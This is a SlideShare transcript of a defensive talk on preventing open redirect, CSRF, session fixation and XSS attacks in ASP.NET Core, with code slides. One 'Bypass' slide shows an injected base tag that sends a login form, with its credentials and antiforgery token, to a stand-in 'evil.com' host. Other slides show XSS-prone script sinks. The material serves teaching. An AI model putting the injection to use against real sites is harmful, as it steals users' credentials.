SlideShare a Scribd company logo
1 of 60
ptsecurity.com
Preventing attacks in
ASP .NET Core
Mikhail Shcherbakov
Independent Developer and
Consultant
Who am I
 Independent Developer and Consultant
 Co-organizer of .NET meetups http://dotnet.ru
 Public Speaker at DotNext, DotNetConf, ITGM, .NET meetups
 Former Product Manager at Cezurity, R&D Developer at Positive
Technologies and Team Lead at Acronis, Luxoft, Boeing
#2
What you can expect
 We’re going to talk about preventing Open Redirect, CSRF, XSS
attacks, using and architecture of cookies, Data Protection,
Session Management, CSP.
 We’re not going to discuss authentication and authorization.
#3
Microsoft .NET Core and ASP.NET Core
Bug Bounty Program
https://aka.ms/corebounty
#4
Prevention Open Redirect Attacks
Why do we talk about it?
https://github.com/OWASP/Top10/tree/master/2017/datacall
#7
WTF?
https://github.com/OWASP/Top10/raw/master/2017/OWASP%20To
p%2010%20-%202017%20RC1-English.pdf
#8
How to use the prevention mechanism
public async Task<IActionResult> Login(LoginViewModel model, string returnUrl)
{
// ...
return LocalRedirect(returnUrl);
}
private IActionResult RedirectToLocal(string returnUrl)
{
if (Url.IsLocalUrl(returnUrl))
return Redirect(returnUrl);
else
return RedirectToAction(nameof(HomeController.Index), "Home");
}
#10
https://technet.microsoft.com/library/security/4021279
#9
Data Protection
Overview
 No machine keys
 High level cryptography out-of-the-box
 Key stores out-of-the-box
 Supports key rotation automatically
 Provides isolation based on purposes automatically
#12
Protect / Unprotect
public class HomeController : Controller
{
private readonly IDataProtector protector;
public HomeController(IDataProtectionProvider provider)
{
protector = provider.CreateProtector("isolation-purpose");
}
public IActionResult Index(string input)
{
var protectedPayload = protector.Protect(input);
var unprotectedPayload = protector.Unprotect(protectedPayload);
return View();
}
}
#13
Protect / Unprotect
public IActionResult Index(string input)
{
var timeLimitedProtector = protector.ToTimeLimitedDataProtector();
var protectedData = timeLimitedProtector.Protect(input,
lifetime: TimeSpan.FromMinutes(30));
return View();
}
#14
Password Hashing
public void StorePassword(SecureString password)
{
var salt = new byte[128 / 8];
using (var rng = RandomNumberGenerator.Create())
{
rng.GetBytes(salt);
}
var hash = Convert.ToBase64String(KeyDerivation.Pbkdf2(
password: password,
salt: salt,
prf: KeyDerivationPrf.HMACSHA512,
iterationCount: 10000,
numBytesRequested: 256 / 8));
// store salt and hash to DB...
}
#15
Configuration
public void ConfigureServices(IServiceCollection services)
{
services.AddDataProtection()
.SetApplicationName("isolation-name")
.SetDefaultKeyLifetime(TimeSpan.FromDays(14))
.PersistKeysToFileSystem(new DirectoryInfo(@"servershare"))
.ProtectKeysWithDpapi()
.UseCryptographicAlgorithms(new AuthenticatedEncryptionSettings
{
EncryptionAlgorithm = EncryptionAlgorithm.AES_256_CBC,
ValidationAlgorithm = ValidationAlgorithm.HMACSHA256
});
}
Configuration
 HKLMSOFTWAREMicrosoftDotNetPackages
Microsoft.AspNetCore.DataProtection
 EncryptionType
 DefaultKeyLifetime
 KeyEscrowSinks
Under the hood
 The default payload protection algorithm used is AES-256-CBC
for confidentiality and HMACSHA256 for authenticity. A 512-bit
master key, rolled every 90 days
 Protected payload format
 32-bit magic header
 128-bit key id
 the part of specific to the encryptor
#16
Under the hood
https://www.youtube.com/watch?v=X1V6_OyQKLw
#17
Anti-Request Forgery
Why do we talk about it?
 Official documentation was published on 27 March
and it has inaccuracies
https://docs.microsoft.com/ru-ru/aspnet/core/security/anti-
request-forgery
 This is an excellent example how to work with cookies!
#19
Cross-Site Request Forgery (CSRF)
#20
Synchronizer Token Pattern
#21
Synchronizer Token Pattern
Double-Submit Cookie Pattern
#22
AutoValidateAntiforgeryToken
public class Startup
{
public void ConfigureServices(IServiceCollection services)
{
services.AddMvc(options =>
options.Filters.Add(new AutoValidateAntiforgeryTokenAttribute()));
}
}
#23
ValidateAntiForgeryToken
IgnoreAntiforgeryToken
[ValidateAntiForgeryToken]
public class CustomController : Controller
{
[HttpPost]
[IgnoreAntiforgeryToken]
public IActionResult DoSomething(SomeViewModel model)
{
// no antiforgery token required
}
}
#24
Generate AntiForgery tokens automatically
<form asp-controller="Account" asp-action="Login" asp-route-returnurl="@ViewData["ReturnUrl"]"
method="post" class="form-horizontal">
<h4>Use a local account to log in.</h4>
<div asp-validation-summary="All" class="text-danger"></div>
<div class="form-group">...</div>
</form>
<form method="post" class="form-horizontal" action="/Account/Login" novalidate="novalidate">
<h4>Use a local account to log in.</h4>
<div class="text-danger validation-summary-valid" data-valmsg-summary="true">
<ul><li style="display: none"></li></ul>
</div>
<div class="form-group">...</div>
<input name="__RequestVerificationToken" type="hidden"
value="CfDJ8MNYtGIQJ0NKvmDVDgK_YQ2alNtW7VHnQAVGEoKzZhHQgrj0A0o8L8s9049_Z1ELltvpTkCt978aCpj1
</form>
#25
Add AntiForgery token explicitly
<form action="/" method="post">
@Html.AntiForgeryToken()
</form>
<input name="__RequestVerificationToken" type="hidden"
value="CfDJ8NrAkSldwD9CpLRyOtm6FiJB1Jr_F3FQJQDvhlHoLNJJrLA6zaMUmhjMsisu2D2tFkAiYgyWQawJk9vNm36s
#26
AJAX, WebAPI, SPAs…
 Do you use authentication cookies?
 No cookies, no problems… except for stealing a token by XSS 
For example, you may use JSON Web Token (JWT)
 Yes, I do… Go next page
#27
AJAX, WebAPI, SPAs…
@inject Microsoft.AspNetCore.Antiforgery.IAntiforgery Xsrf
@functions{
public string GetAntiXsrfRequestToken()
{
return Xsrf.GetAndStoreTokens(Context).RequestToken;
}
}
<input type="button" id="antiforgery" value="Antiforgery" />
<script>
$("#antiforgery").click(function () {
$.ajax({
type: "post",
dataType: "html",
headers:
{
"RequestVerificationToken": '@GetAntiXsrfRequestToken()'
},
url: '@Url.Action("Antiforgery", "Home")',
});
});
#28
AngularJS
HttpContext.Response.Cookies.Append("XSRF-TOKEN",
antiforgery.GetAndStoreTokens(HttpContext).RequestToken,
new Microsoft.AspNetCore.Http.CookieOptions { HttpOnly = false });
services.AddAntiforgery(options => options.HeaderName = "X-XSRF-TOKEN");
#29
Under the Hood
<form method="post" action="/Home/MyAction">
<div>...</div>
<input name="__RequestVerificationToken" type="hidden"
value="CfDJ8MNYtGIQJ0NKvmDVDgK_YQ2alNtW7VHnQAVGEoKzZhHQgrj0A0o8L8s9049
</form>
https://github.com/aspnet/Antiforgery
#30
New Token
private static readonly RandomNumberGenerator randomNumberGenerator =
RandomNumberGenerator.Create();
private static byte[] GenerateNewToken(int bitLength)
{
var data = new byte[bitLength / 8];
randomNumberGenerator.GetBytes(data);
return data;
}
#31
Cookie Attributes: Domain and Path
public class ResponseCookies : IResponseCookies
{
public void Append(string key, string value, CookieOptions options)
{
var cookieHeaderValue = new SetCookieHeaderValue(
Uri.EscapeDataString(key), Uri.EscapeDataString(value));
cookieHeaderValue.Domain = options.Domain;
cookieHeaderValue.Path = options.Path;
#32
Cookie Attributes: HttpOnly
#33
Using HttpOnly is enough?
cryptoSystem = provider.CreateProtector(
"Microsoft.AspNetCore.Antiforgery.AntiforgeryToken.v1");
// ...
var bytes = cryptoSystem.Protect(stream.ToArray());
#34
Why isn't it enough again?
/* The serialized format of the anti-XSRF token is as follows:
* Version: 1 byte integer
* SecurityToken: 16 byte binary blob
* IsCookieToken: 1 byte Boolean
* [if IsCookieToken != true]
* +- IsClaimsBased: 1 byte Boolean
* | [if IsClaimsBased = true]
* | `- ClaimUid: 32 byte binary blob
* | [if IsClaimsBased = false]
* | `- Username: UTF-8 string with 7-bit integer length prefix
* `- AdditionalData: UTF-8 string with 7-bit integer length prefix
*/
#35
Encrypted DTO Pattern
#36
Session Management
Overview
private string GetMessageFromCacheOrDb()
{
// check session cache
byte[] value;
if (HttpContext.Session.TryGetValue("msg", out value))
{
return System.Text.Encoding.UTF8.GetString(value);
}
var valueMessage = GetMessageFromDb(HttpContext.User.Identity.Name);
HttpContext.Session.SetString("msg", valueMessage);
return valueMessage;
}
#38
Overview
#38
Why do we talk about it?
 The current implementation has a weakness that can be the
cause of Session Fixation attack.
 The Session Fixation took 2th prize in OWASP Top 10.
#40
Demo code
private string GetMessageFromCacheOrDb()
{
// check session cache
byte[] value;
if (HttpContext.Session.TryGetValue("msg", out value))
{
return System.Text.Encoding.UTF8.GetString(value);
}
var valueMessage = GetMessageFromDb(HttpContext.User.Identity.Name);
HttpContext.Session.SetString("msg", valueMessage);
return valueMessage;
}
#41
Session Fixation in ASP .NET Core
 Don’t store security sensitive data in a session!..
 Or die fix it in your project.
#43
Prevention XSS Attacks
Why do we talk about it?
 The XSS is the most popular attack to web applications
 https://github.com/OWASP/Top10/tree/master/2017/datacall
 https://twitter.com/kochetkov_v/status/857575220160462850
 This is a good entry point for other attacks with more impact
 Only some people know and correctly use built-in XSS
prevention mechanisms
#45
Same-origin policy (SOP)
 URI scheme (http)
 Hostname (my-domain.com)
 Port number (80)
#46
Potential XSS
<script src="@ViewData["UntrustedInput"]">
</script>
#47
Potential XSS
<script>
@ViewData["UntrustedInput"];
</script>
#48
Encoding points
 HTML
 JavaScript
 URL
 XML
 SVG
#49
Encoding points
 HtmlEncoder (@<member> in .cshtml)
 JavaScriptEncoder
 UrlEncoder
 Any sanitizer https://github.com/mganss/HtmlSanitizer
#50
Content Security Policy (CSP)
app.UseMvc();
app.Use(async (context, next) =>
{
context.Response.Headers.Add("Content-Security-Policy",
"default-src 'self'; report-uri /cspreport");
await next();
});
#51
CSP Report Request
public class CspReportRequest
{
[JsonProperty(PropertyName = "csp-report")] public CspReport CspReport { get; set; }
}
public class CspReport
{
[JsonProperty(PropertyName = "document-uri")] public string DocumentUri { get; set; }
[JsonProperty(PropertyName = "referrer")] public string Referrer { get; set; }
[JsonProperty(PropertyName = "violated-directive")] public string ViolatedDirective { get; set; }
[JsonProperty(PropertyName = "effective-directive")] public string EffectiveDirective {get; set;}
[JsonProperty(PropertyName = "original-policy")] public string OriginalPolicy { get; set; }
[JsonProperty(PropertyName = "blocked-uri")] public string BlockedUri { get; set; }
[JsonProperty(PropertyName = "status-code")] public int StatusCode { get; set; }
}
#52
CSP Report Endpoint
[HttpPost("~/cspreport")]
public IActionResult CspReport([FromBody] CspReportRequest request)
{
// log and analyze the report...
return Ok();
}
#53
Bypass
<base href='http://evil.com/'>
<form method="post" class="form-horizontal" action="/Account/Login">
<h4>Use a local account to log in.</h4>
<input type="email" id="Email" name="Email" value="" />
<input type="password" id="Password" name="Password" />
<button type="submit">Log in</button>
<input name="__RequestVerificationToken" type="hidden" value="CfDJ8MNYtGIQJ0N
</form>
#54
x-xss-protection
app.UseMvc();
app.Use(async (context, next) =>
{
context.Response.Headers.Add("x-xss-protection", "1");
await next();
});
#55
Summary
 Michal Zalewski “Tangled Web. A Guide to Securing Modern
Web Applications”
 Stan Drapkin “Security Driven .NET”
 OWASP Testing Guide v4
#56
Questions?!
Mikhail Shcherbakov
@yu5k3
https://www.linkedin.com/in/mikhailshcherbakov
Independent Developer and Consultant
The presentation contains footage from Olive Kitteridge
ptsecurity.com
Спасибо!
Thank you!

More Related Content

What's hot

BlueHat v17 || Detecting Compromise on Windows Endpoints with Osquery
BlueHat v17 ||  Detecting Compromise on Windows Endpoints with Osquery  BlueHat v17 ||  Detecting Compromise on Windows Endpoints with Osquery
BlueHat v17 || Detecting Compromise on Windows Endpoints with Osquery BlueHat Security Conference
 
BlueHat v17 || Where, how, and why is SSL traffic on mobile getting intercept...
BlueHat v17 || Where, how, and why is SSL traffic on mobile getting intercept...BlueHat v17 || Where, how, and why is SSL traffic on mobile getting intercept...
BlueHat v17 || Where, how, and why is SSL traffic on mobile getting intercept...BlueHat Security Conference
 
Linux Security, from Concept to Tooling
Linux Security, from Concept to ToolingLinux Security, from Concept to Tooling
Linux Security, from Concept to ToolingMichael Boelen
 
CSW2017 Weston miller csw17_mitigating_native_remote_code_execution
CSW2017 Weston miller csw17_mitigating_native_remote_code_executionCSW2017 Weston miller csw17_mitigating_native_remote_code_execution
CSW2017 Weston miller csw17_mitigating_native_remote_code_executionCanSecWest
 
Hunting for Credentials Dumping in Windows Environment
Hunting for Credentials Dumping in Windows EnvironmentHunting for Credentials Dumping in Windows Environment
Hunting for Credentials Dumping in Windows EnvironmentTeymur Kheirkhabarov
 
Nguyen Duc Thinh - Docker security in Dev Ops environment 2.0
Nguyen Duc Thinh - Docker security in Dev Ops environment 2.0Nguyen Duc Thinh - Docker security in Dev Ops environment 2.0
Nguyen Duc Thinh - Docker security in Dev Ops environment 2.0Security Bootcamp
 
How Many Linux Security Layers Are Enough?
How Many Linux Security Layers Are Enough?How Many Linux Security Layers Are Enough?
How Many Linux Security Layers Are Enough?Michael Boelen
 
Enabling Java 2 Runtime Security with Eclipse Plug-ins - Ted Habeck, Advisory...
Enabling Java 2 Runtime Security with Eclipse Plug-ins - Ted Habeck, Advisory...Enabling Java 2 Runtime Security with Eclipse Plug-ins - Ted Habeck, Advisory...
Enabling Java 2 Runtime Security with Eclipse Plug-ins - Ted Habeck, Advisory...mfrancis
 
Secure Coding for Java - An Introduction
Secure Coding for Java - An IntroductionSecure Coding for Java - An Introduction
Secure Coding for Java - An IntroductionSebastien Gioria
 
OWASP Poland Day 2018 - Amir Shladovsky - Crypto-mining
OWASP Poland Day 2018 - Amir Shladovsky - Crypto-miningOWASP Poland Day 2018 - Amir Shladovsky - Crypto-mining
OWASP Poland Day 2018 - Amir Shladovsky - Crypto-miningOWASP
 
BlueHat v17 || Out of the Truman Show: VM Escape in VMware Gracefully
BlueHat v17 || Out of the Truman Show: VM Escape in VMware Gracefully BlueHat v17 || Out of the Truman Show: VM Escape in VMware Gracefully
BlueHat v17 || Out of the Truman Show: VM Escape in VMware Gracefully BlueHat Security Conference
 
Современные технологии и инструменты анализа вредоносного ПО_PHDays_2017_Pisk...
Современные технологии и инструменты анализа вредоносного ПО_PHDays_2017_Pisk...Современные технологии и инструменты анализа вредоносного ПО_PHDays_2017_Pisk...
Современные технологии и инструменты анализа вредоносного ПО_PHDays_2017_Pisk...Ivan Piskunov
 
BlueHat v17 || Down the Open Source Software Rabbit Hole
BlueHat v17 || Down the Open Source Software Rabbit Hole BlueHat v17 || Down the Open Source Software Rabbit Hole
BlueHat v17 || Down the Open Source Software Rabbit Hole BlueHat Security Conference
 
CSW2017 Enrico branca What if encrypted communications are not as secure as w...
CSW2017 Enrico branca What if encrypted communications are not as secure as w...CSW2017 Enrico branca What if encrypted communications are not as secure as w...
CSW2017 Enrico branca What if encrypted communications are not as secure as w...CanSecWest
 
Handling of compromised Linux systems
Handling of compromised Linux systemsHandling of compromised Linux systems
Handling of compromised Linux systemsMichael Boelen
 
Hacking intranet websites
Hacking intranet websitesHacking intranet websites
Hacking intranet websitesshehab najjar
 
Linux Security Scanning with Lynis
Linux Security Scanning with LynisLinux Security Scanning with Lynis
Linux Security Scanning with LynisMichael Boelen
 
What you need to know about ExPetr ransomware
What you need to know about ExPetr ransomwareWhat you need to know about ExPetr ransomware
What you need to know about ExPetr ransomwareKaspersky
 

What's hot (20)

BlueHat v17 || Detecting Compromise on Windows Endpoints with Osquery
BlueHat v17 ||  Detecting Compromise on Windows Endpoints with Osquery  BlueHat v17 ||  Detecting Compromise on Windows Endpoints with Osquery
BlueHat v17 || Detecting Compromise on Windows Endpoints with Osquery
 
BlueHat v17 || Where, how, and why is SSL traffic on mobile getting intercept...
BlueHat v17 || Where, how, and why is SSL traffic on mobile getting intercept...BlueHat v17 || Where, how, and why is SSL traffic on mobile getting intercept...
BlueHat v17 || Where, how, and why is SSL traffic on mobile getting intercept...
 
A Threat Hunter Himself
A Threat Hunter HimselfA Threat Hunter Himself
A Threat Hunter Himself
 
Linux Security, from Concept to Tooling
Linux Security, from Concept to ToolingLinux Security, from Concept to Tooling
Linux Security, from Concept to Tooling
 
CSW2017 Weston miller csw17_mitigating_native_remote_code_execution
CSW2017 Weston miller csw17_mitigating_native_remote_code_executionCSW2017 Weston miller csw17_mitigating_native_remote_code_execution
CSW2017 Weston miller csw17_mitigating_native_remote_code_execution
 
Hunting for Credentials Dumping in Windows Environment
Hunting for Credentials Dumping in Windows EnvironmentHunting for Credentials Dumping in Windows Environment
Hunting for Credentials Dumping in Windows Environment
 
Nguyen Duc Thinh - Docker security in Dev Ops environment 2.0
Nguyen Duc Thinh - Docker security in Dev Ops environment 2.0Nguyen Duc Thinh - Docker security in Dev Ops environment 2.0
Nguyen Duc Thinh - Docker security in Dev Ops environment 2.0
 
How Many Linux Security Layers Are Enough?
How Many Linux Security Layers Are Enough?How Many Linux Security Layers Are Enough?
How Many Linux Security Layers Are Enough?
 
Enabling Java 2 Runtime Security with Eclipse Plug-ins - Ted Habeck, Advisory...
Enabling Java 2 Runtime Security with Eclipse Plug-ins - Ted Habeck, Advisory...Enabling Java 2 Runtime Security with Eclipse Plug-ins - Ted Habeck, Advisory...
Enabling Java 2 Runtime Security with Eclipse Plug-ins - Ted Habeck, Advisory...
 
Secure Coding for Java - An Introduction
Secure Coding for Java - An IntroductionSecure Coding for Java - An Introduction
Secure Coding for Java - An Introduction
 
OWASP Poland Day 2018 - Amir Shladovsky - Crypto-mining
OWASP Poland Day 2018 - Amir Shladovsky - Crypto-miningOWASP Poland Day 2018 - Amir Shladovsky - Crypto-mining
OWASP Poland Day 2018 - Amir Shladovsky - Crypto-mining
 
BlueHat v17 || Out of the Truman Show: VM Escape in VMware Gracefully
BlueHat v17 || Out of the Truman Show: VM Escape in VMware Gracefully BlueHat v17 || Out of the Truman Show: VM Escape in VMware Gracefully
BlueHat v17 || Out of the Truman Show: VM Escape in VMware Gracefully
 
Linux Hardening
Linux HardeningLinux Hardening
Linux Hardening
 
Современные технологии и инструменты анализа вредоносного ПО_PHDays_2017_Pisk...
Современные технологии и инструменты анализа вредоносного ПО_PHDays_2017_Pisk...Современные технологии и инструменты анализа вредоносного ПО_PHDays_2017_Pisk...
Современные технологии и инструменты анализа вредоносного ПО_PHDays_2017_Pisk...
 
BlueHat v17 || Down the Open Source Software Rabbit Hole
BlueHat v17 || Down the Open Source Software Rabbit Hole BlueHat v17 || Down the Open Source Software Rabbit Hole
BlueHat v17 || Down the Open Source Software Rabbit Hole
 
CSW2017 Enrico branca What if encrypted communications are not as secure as w...
CSW2017 Enrico branca What if encrypted communications are not as secure as w...CSW2017 Enrico branca What if encrypted communications are not as secure as w...
CSW2017 Enrico branca What if encrypted communications are not as secure as w...
 
Handling of compromised Linux systems
Handling of compromised Linux systemsHandling of compromised Linux systems
Handling of compromised Linux systems
 
Hacking intranet websites
Hacking intranet websitesHacking intranet websites
Hacking intranet websites
 
Linux Security Scanning with Lynis
Linux Security Scanning with LynisLinux Security Scanning with Lynis
Linux Security Scanning with Lynis
 
What you need to know about ExPetr ransomware
What you need to know about ExPetr ransomwareWhat you need to know about ExPetr ransomware
What you need to know about ExPetr ransomware
 

Similar to Preventing Attacks in ASP.NET Core

.NET Fest 2017. Михаил Щербаков. Механизмы предотвращения атак в ASP.NET Core
.NET Fest 2017. Михаил Щербаков. Механизмы предотвращения атак в ASP.NET Core.NET Fest 2017. Михаил Щербаков. Механизмы предотвращения атак в ASP.NET Core
.NET Fest 2017. Михаил Щербаков. Механизмы предотвращения атак в ASP.NET CoreNETFest
 
02 banking trojans-thomassiebert
02 banking trojans-thomassiebert02 banking trojans-thomassiebert
02 banking trojans-thomassiebertgeeksec80
 
Hack any website
Hack any websiteHack any website
Hack any websitesunil kumar
 
Technical Report Vawtrak v2
Technical Report Vawtrak v2Technical Report Vawtrak v2
Technical Report Vawtrak v2Blueliv
 
Securing TodoMVC Using the Web Cryptography API
Securing TodoMVC Using the Web Cryptography APISecuring TodoMVC Using the Web Cryptography API
Securing TodoMVC Using the Web Cryptography APIKevin Hakanson
 
Waf.js: How to Protect Web Applications using JavaScript
Waf.js: How to Protect Web Applications using JavaScriptWaf.js: How to Protect Web Applications using JavaScript
Waf.js: How to Protect Web Applications using JavaScriptDenis Kolegov
 
Common Browser Hijacking Methods
Common Browser Hijacking MethodsCommon Browser Hijacking Methods
Common Browser Hijacking MethodsDavid Barroso
 
FIWARE Wednesday Webinars - How to Secure IoT Devices
FIWARE Wednesday Webinars - How to Secure IoT DevicesFIWARE Wednesday Webinars - How to Secure IoT Devices
FIWARE Wednesday Webinars - How to Secure IoT DevicesFIWARE
 
DEF CON 27 - ALVARO MUNOZ / OLEKSANDR MIROSH - sso wars the token menace
DEF CON 27 - ALVARO MUNOZ / OLEKSANDR MIROSH - sso wars the token menaceDEF CON 27 - ALVARO MUNOZ / OLEKSANDR MIROSH - sso wars the token menace
DEF CON 27 - ALVARO MUNOZ / OLEKSANDR MIROSH - sso wars the token menaceFelipe Prado
 
Writing Secure Code – Threat Defense
Writing Secure Code – Threat DefenseWriting Secure Code – Threat Defense
Writing Secure Code – Threat Defenseamiable_indian
 
Application and Website Security -- Fundamental Edition
Application and Website Security -- Fundamental EditionApplication and Website Security -- Fundamental Edition
Application and Website Security -- Fundamental EditionDaniel Owens
 
Blockchain Land Audit Report.pdf
Blockchain Land Audit Report.pdfBlockchain Land Audit Report.pdf
Blockchain Land Audit Report.pdfBlockchainLand
 
Embedded Security and the IoT
Embedded Security and the IoTEmbedded Security and the IoT
Embedded Security and the IoTteam-WIBU
 
ASP.NET Single Sign On
ASP.NET Single Sign OnASP.NET Single Sign On
ASP.NET Single Sign Onleastprivilege
 
They Ought to Know Better: Exploiting Security Gateways via Their Web Interfaces
They Ought to Know Better: Exploiting Security Gateways via Their Web InterfacesThey Ought to Know Better: Exploiting Security Gateways via Their Web Interfaces
They Ought to Know Better: Exploiting Security Gateways via Their Web Interfacesmichelemanzotti
 
W3 conf hill-html5-security-realities
W3 conf hill-html5-security-realitiesW3 conf hill-html5-security-realities
W3 conf hill-html5-security-realitiesBrad Hill
 
Revealing Unique MitB Builder C&C Server
Revealing Unique MitB Builder C&C ServerRevealing Unique MitB Builder C&C Server
Revealing Unique MitB Builder C&C ServerSenad Aruc
 
Secure Software: Action, Comedy or Drama? (2017 edition)
Secure Software: Action, Comedy or Drama? (2017 edition)Secure Software: Action, Comedy or Drama? (2017 edition)
Secure Software: Action, Comedy or Drama? (2017 edition)Peter Sabev
 
Meetup DotNetCode Owasp
Meetup DotNetCode Owasp Meetup DotNetCode Owasp
Meetup DotNetCode Owasp dotnetcode
 

Similar to Preventing Attacks in ASP.NET Core (20)

.NET Fest 2017. Михаил Щербаков. Механизмы предотвращения атак в ASP.NET Core
.NET Fest 2017. Михаил Щербаков. Механизмы предотвращения атак в ASP.NET Core.NET Fest 2017. Михаил Щербаков. Механизмы предотвращения атак в ASP.NET Core
.NET Fest 2017. Михаил Щербаков. Механизмы предотвращения атак в ASP.NET Core
 
02 banking trojans-thomassiebert
02 banking trojans-thomassiebert02 banking trojans-thomassiebert
02 banking trojans-thomassiebert
 
Hack any website
Hack any websiteHack any website
Hack any website
 
Technical Report Vawtrak v2
Technical Report Vawtrak v2Technical Report Vawtrak v2
Technical Report Vawtrak v2
 
Securing TodoMVC Using the Web Cryptography API
Securing TodoMVC Using the Web Cryptography APISecuring TodoMVC Using the Web Cryptography API
Securing TodoMVC Using the Web Cryptography API
 
Waf.js: How to Protect Web Applications using JavaScript
Waf.js: How to Protect Web Applications using JavaScriptWaf.js: How to Protect Web Applications using JavaScript
Waf.js: How to Protect Web Applications using JavaScript
 
Real_World_0days.pdf
Real_World_0days.pdfReal_World_0days.pdf
Real_World_0days.pdf
 
Common Browser Hijacking Methods
Common Browser Hijacking MethodsCommon Browser Hijacking Methods
Common Browser Hijacking Methods
 
FIWARE Wednesday Webinars - How to Secure IoT Devices
FIWARE Wednesday Webinars - How to Secure IoT DevicesFIWARE Wednesday Webinars - How to Secure IoT Devices
FIWARE Wednesday Webinars - How to Secure IoT Devices
 
DEF CON 27 - ALVARO MUNOZ / OLEKSANDR MIROSH - sso wars the token menace
DEF CON 27 - ALVARO MUNOZ / OLEKSANDR MIROSH - sso wars the token menaceDEF CON 27 - ALVARO MUNOZ / OLEKSANDR MIROSH - sso wars the token menace
DEF CON 27 - ALVARO MUNOZ / OLEKSANDR MIROSH - sso wars the token menace
 
Writing Secure Code – Threat Defense
Writing Secure Code – Threat DefenseWriting Secure Code – Threat Defense
Writing Secure Code – Threat Defense
 
Application and Website Security -- Fundamental Edition
Application and Website Security -- Fundamental EditionApplication and Website Security -- Fundamental Edition
Application and Website Security -- Fundamental Edition
 
Blockchain Land Audit Report.pdf
Blockchain Land Audit Report.pdfBlockchain Land Audit Report.pdf
Blockchain Land Audit Report.pdf
 
Embedded Security and the IoT
Embedded Security and the IoTEmbedded Security and the IoT
Embedded Security and the IoT
 
ASP.NET Single Sign On
ASP.NET Single Sign OnASP.NET Single Sign On
ASP.NET Single Sign On
 
They Ought to Know Better: Exploiting Security Gateways via Their Web Interfaces
They Ought to Know Better: Exploiting Security Gateways via Their Web InterfacesThey Ought to Know Better: Exploiting Security Gateways via Their Web Interfaces
They Ought to Know Better: Exploiting Security Gateways via Their Web Interfaces
 
W3 conf hill-html5-security-realities
W3 conf hill-html5-security-realitiesW3 conf hill-html5-security-realities
W3 conf hill-html5-security-realities
 
Revealing Unique MitB Builder C&C Server
Revealing Unique MitB Builder C&C ServerRevealing Unique MitB Builder C&C Server
Revealing Unique MitB Builder C&C Server
 
Secure Software: Action, Comedy or Drama? (2017 edition)
Secure Software: Action, Comedy or Drama? (2017 edition)Secure Software: Action, Comedy or Drama? (2017 edition)
Secure Software: Action, Comedy or Drama? (2017 edition)
 
Meetup DotNetCode Owasp
Meetup DotNetCode Owasp Meetup DotNetCode Owasp
Meetup DotNetCode Owasp
 

More from Positive Hack Days

Инструмент ChangelogBuilder для автоматической подготовки Release Notes
Инструмент ChangelogBuilder для автоматической подготовки Release NotesИнструмент ChangelogBuilder для автоматической подготовки Release Notes
Инструмент ChangelogBuilder для автоматической подготовки Release NotesPositive Hack Days
 
Как мы собираем проекты в выделенном окружении в Windows Docker
Как мы собираем проекты в выделенном окружении в Windows DockerКак мы собираем проекты в выделенном окружении в Windows Docker
Как мы собираем проекты в выделенном окружении в Windows DockerPositive Hack Days
 
Типовая сборка и деплой продуктов в Positive Technologies
Типовая сборка и деплой продуктов в Positive TechnologiesТиповая сборка и деплой продуктов в Positive Technologies
Типовая сборка и деплой продуктов в Positive TechnologiesPositive Hack Days
 
Аналитика в проектах: TFS + Qlik
Аналитика в проектах: TFS + QlikАналитика в проектах: TFS + Qlik
Аналитика в проектах: TFS + QlikPositive Hack Days
 
Использование анализатора кода SonarQube
Использование анализатора кода SonarQubeИспользование анализатора кода SonarQube
Использование анализатора кода SonarQubePositive Hack Days
 
Развитие сообщества Open DevOps Community
Развитие сообщества Open DevOps CommunityРазвитие сообщества Open DevOps Community
Развитие сообщества Open DevOps CommunityPositive Hack Days
 
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...Positive Hack Days
 
Автоматизация построения правил для Approof
Автоматизация построения правил для ApproofАвтоматизация построения правил для Approof
Автоматизация построения правил для ApproofPositive Hack Days
 
Мастер-класс «Трущобы Application Security»
Мастер-класс «Трущобы Application Security»Мастер-класс «Трущобы Application Security»
Мастер-класс «Трущобы Application Security»Positive Hack Days
 
Формальные методы защиты приложений
Формальные методы защиты приложенийФормальные методы защиты приложений
Формальные методы защиты приложенийPositive Hack Days
 
Эвристические методы защиты приложений
Эвристические методы защиты приложенийЭвристические методы защиты приложений
Эвристические методы защиты приложенийPositive Hack Days
 
Теоретические основы Application Security
Теоретические основы Application SecurityТеоретические основы Application Security
Теоретические основы Application SecurityPositive Hack Days
 
От экспериментального программирования к промышленному: путь длиной в 10 лет
От экспериментального программирования к промышленному: путь длиной в 10 летОт экспериментального программирования к промышленному: путь длиной в 10 лет
От экспериментального программирования к промышленному: путь длиной в 10 летPositive Hack Days
 
Уязвимое Android-приложение: N проверенных способов наступить на грабли
Уязвимое Android-приложение: N проверенных способов наступить на граблиУязвимое Android-приложение: N проверенных способов наступить на грабли
Уязвимое Android-приложение: N проверенных способов наступить на граблиPositive Hack Days
 
Требования по безопасности в архитектуре ПО
Требования по безопасности в архитектуре ПОТребования по безопасности в архитектуре ПО
Требования по безопасности в архитектуре ПОPositive Hack Days
 
Формальная верификация кода на языке Си
Формальная верификация кода на языке СиФормальная верификация кода на языке Си
Формальная верификация кода на языке СиPositive Hack Days
 
SOC для КИИ: израильский опыт
SOC для КИИ: израильский опытSOC для КИИ: израильский опыт
SOC для КИИ: израильский опытPositive Hack Days
 
Honeywell Industrial Cyber Security Lab & Services Center
Honeywell Industrial Cyber Security Lab & Services CenterHoneywell Industrial Cyber Security Lab & Services Center
Honeywell Industrial Cyber Security Lab & Services CenterPositive Hack Days
 
Credential stuffing и брутфорс-атаки
Credential stuffing и брутфорс-атакиCredential stuffing и брутфорс-атаки
Credential stuffing и брутфорс-атакиPositive Hack Days
 

More from Positive Hack Days (20)

Инструмент ChangelogBuilder для автоматической подготовки Release Notes
Инструмент ChangelogBuilder для автоматической подготовки Release NotesИнструмент ChangelogBuilder для автоматической подготовки Release Notes
Инструмент ChangelogBuilder для автоматической подготовки Release Notes
 
Как мы собираем проекты в выделенном окружении в Windows Docker
Как мы собираем проекты в выделенном окружении в Windows DockerКак мы собираем проекты в выделенном окружении в Windows Docker
Как мы собираем проекты в выделенном окружении в Windows Docker
 
Типовая сборка и деплой продуктов в Positive Technologies
Типовая сборка и деплой продуктов в Positive TechnologiesТиповая сборка и деплой продуктов в Positive Technologies
Типовая сборка и деплой продуктов в Positive Technologies
 
Аналитика в проектах: TFS + Qlik
Аналитика в проектах: TFS + QlikАналитика в проектах: TFS + Qlik
Аналитика в проектах: TFS + Qlik
 
